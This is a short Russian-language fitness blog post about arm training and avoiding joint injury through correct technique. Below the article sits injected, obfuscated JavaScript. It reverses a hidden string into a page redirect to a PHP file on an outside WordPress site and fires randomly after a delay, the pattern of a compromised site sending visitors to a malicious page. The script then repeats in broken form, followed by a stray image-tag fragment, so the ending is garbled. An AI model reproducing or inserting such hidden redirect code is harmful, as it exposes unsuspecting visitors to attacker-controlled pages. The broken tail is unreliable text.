Качайте здоровые банки и берегите суставы!
Даже если человек имеет красивую фигуру — полные или дряблые руки — это то, что портит внешний облик абсолютно каждого.
И мужчины и женщины одинаково страдают от этой проблемы.
При неправильной технике в работу вовлекаются другие группы мышц и соответственно акцент проработки именно рук — теряется.
Но это не самое главное!
Неправильная техника выполнения основных упражнений ведет к повышенному травматизму мышц и суставов!
Помните об этом и будьте здоровы!
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toB1627975352.jpg» alt=»» width=»» height=»» srcset=»» sizes=»(max-width: 537px) 100vw, 537px» />
